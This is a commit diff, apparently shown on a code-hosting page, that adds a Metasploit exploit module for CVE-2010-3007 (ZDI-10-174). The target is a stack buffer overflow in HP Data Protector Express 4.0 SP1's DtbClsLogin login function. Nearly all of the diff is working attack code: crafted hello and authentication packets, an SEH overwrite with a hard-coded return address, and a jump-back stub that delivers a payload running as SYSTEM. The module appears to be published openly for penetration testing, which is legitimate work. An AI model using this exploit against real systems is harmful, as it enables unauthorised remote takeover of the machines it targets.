Added module for ZDI-10-174
parent
bb8f0e54f0
commit
e3a126aa75
|
@ -0,0 +1,147 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
|
||||
overflow occurs during the login process, in the DtbClsLogin function provided by
|
||||
the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in a
|
||||
insecure way with the username. Successful exploitation will lead to code execution
|
||||
with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
|
||||
Service) process, which runs as SYSTEM by default.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'AbdulAziz Hariri', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-3007' ],
|
||||
[ 'OSVDB', '67973' ],
|
||||
[ 'BID', '43105' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
|
||||
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 712,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
|
||||
'Offset' => 712
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Sep 09 2010'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3817),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
|
||||
machine_name = rand_text_alpha(15)
|
||||
|
||||
print_status("#{sock.peerinfo} - Sending Hello Request")
|
||||
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
|
||||
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
|
||||
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00"
|
||||
hello << machine_name << "\x00"
|
||||
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
|
||||
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
|
||||
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
|
||||
|
||||
sock.put(hello)
|
||||
hello_response = sock.get
|
||||
disconnect
|
||||
|
||||
if hello_response and hello_response =~ /Dtb: Context/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
connect
|
||||
|
||||
machine_name = rand_text_alpha(15)
|
||||
|
||||
print_status("#{sock.peerinfo} - Sending Hello Request")
|
||||
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
|
||||
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
|
||||
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
hello << "\x00\x00\x00\x00"
|
||||
hello << machine_name << "\x00"
|
||||
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
|
||||
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
|
||||
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
|
||||
|
||||
sock.put(hello)
|
||||
hello_response = sock.get
|
||||
|
||||
if not hello_response or hello_response.empty?
|
||||
print_error("#{sock.peerinfo} - The Hello Request haven't had response")
|
||||
return
|
||||
end
|
||||
|
||||
bof = payload.encoded
|
||||
bof << rand_text(target['Offset']-bof.length)
|
||||
bof << generate_seh_record(target.ret)
|
||||
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
|
||||
# The line below is used to trigger exception, don't go confused because of the big space,
|
||||
# there are only some available bytes until the end of the stack, it allows to assure exception
|
||||
# when there are mappings for dynamic memory after the stack, so to assure reliability it's better
|
||||
# to jump back.
|
||||
bof << rand_text(100000)
|
||||
|
||||
header = [0x8451].pack("V") # packet id
|
||||
header << [0x32020202].pack("V") # svc id
|
||||
header << [0x00000018].pack("V") # cmd id
|
||||
header << [0].pack("V") # pkt length, calculated after pkt has been built
|
||||
header << "\x00\x00\x00\x00" # ?Unknown?
|
||||
|
||||
pkt_auth = header
|
||||
pkt_auth << bof # username
|
||||
|
||||
pkt_auth[12, 4] = [pkt_auth.length].pack("V")
|
||||
|
||||
print_status("#{sock.peerinfo} - Sending Authentication Request")
|
||||
|
||||
sock.put(pkt_auth)
|
||||
disconnect
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue